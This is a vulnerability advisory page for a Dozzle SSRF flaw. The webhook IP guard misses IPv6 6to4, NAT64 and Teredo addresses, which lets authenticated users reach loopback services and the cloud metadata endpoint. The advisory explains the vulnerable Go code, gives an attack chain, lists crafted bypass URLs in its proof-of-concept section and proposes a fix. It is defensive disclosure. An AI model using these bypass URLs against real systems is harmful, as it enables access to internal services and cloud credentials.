low

CVE-2026-73087

Go · github.com/amir20/dozzle

Summary

Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher

Severity
low
EPSS
0.5% (p40)
CWE
CWE-918
Also known as
GHSA-p2w3-6x73-2f6x
Published
2026-09-08
Updated
2026-09-08

Advisory details

Summary

The isBlockedIP SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.

Affected component / versions

Details

Root cause (CWE-918)

internal/notification/dispatcher/webhook.go:32-51:

func isBlockedIP(ip net.IP) bool {
	if ip.IsLoopback() ||
		ip.IsLinkLocalUnicast() ||
		ip.IsLinkLocalMulticast() ||
		ip.IsMulticast() ||
		ip.IsInterfaceLocalMulticast() ||
		ip.IsUnspecified() {
		return true
	}
	if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) {
		return true
	}
	if ip.Equal(net.IPv4bcast) {
		return true
	}
	return false
}

The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:

Mechanism Prefix Embeds isBlockedIP result
6to4 2002::/16 any IPv4 in bits 16-47 false
NAT64 WKP 64:ff9b::/96 any IPv4 in bits 96-127 false
Teredo 2001:0000::/32 any IPv4 in bits 96-127 false

Reachability / trust boundary

The safeDialContext function (line 53) resolves hostnames and checks each IP against isBlockedIP before establishing a TCP connection. This is used as the DialContext for the webhook HTTP client (line 115).

Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint.

Attack chain

  1. Authenticated user creates a webhook notification with URL http://[2002:7f00:0001::1]:8080/ (6to4 embedding 127.0.0.1)
  2. When a notification triggers, Dozzle's webhook dispatcher calls safeDialContext
  3. The IPv6 address 2002:7f00:0001::1 is checked against isBlockedIP -- all predicates return false
  4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1
  5. The webhook POST reaches the host's loopback services

Impact

An authenticated user can bypass the SSRF guard to:

Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.

Proof of concept

Bypass vectors:

# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)
http://[2002:7f00:0001::1]:8080/

# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/

# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[2002:a9fe:a9fe::1]/latest/meta-data/

# Teredo embedding 127.0.0.1
http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/

Verification that isBlockedIP returns false for all vectors:

package main

import (
    "fmt"
    "net"
)

func isBlockedIP(ip net.IP) bool {
    return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
        ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()
}

func main() {
    for _, v := range []string{
        "2002:7f00:0001::1",    // 6to4 -> 127.0.0.1
        "64:ff9b::a9fe:a9fe",   // NAT64 -> 169.254.169.254
        "2002:a9fe:a9fe::1",    // 6to4 -> 169.254.169.254
    } {
        ip := net.ParseIP(v)
        fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip))
    }
}
// Output: all false

Remediation

Add IPv6 transition mechanism prefix checks to isBlockedIP:

func isBlockedIP(ip net.IP) bool {
	// ... existing checks ...

	// IPv6 transition mechanisms embedding arbitrary IPv4
	if len(ip) == net.IPv6len {
		if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4
		if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64
		if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo
	}
	return false
}

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.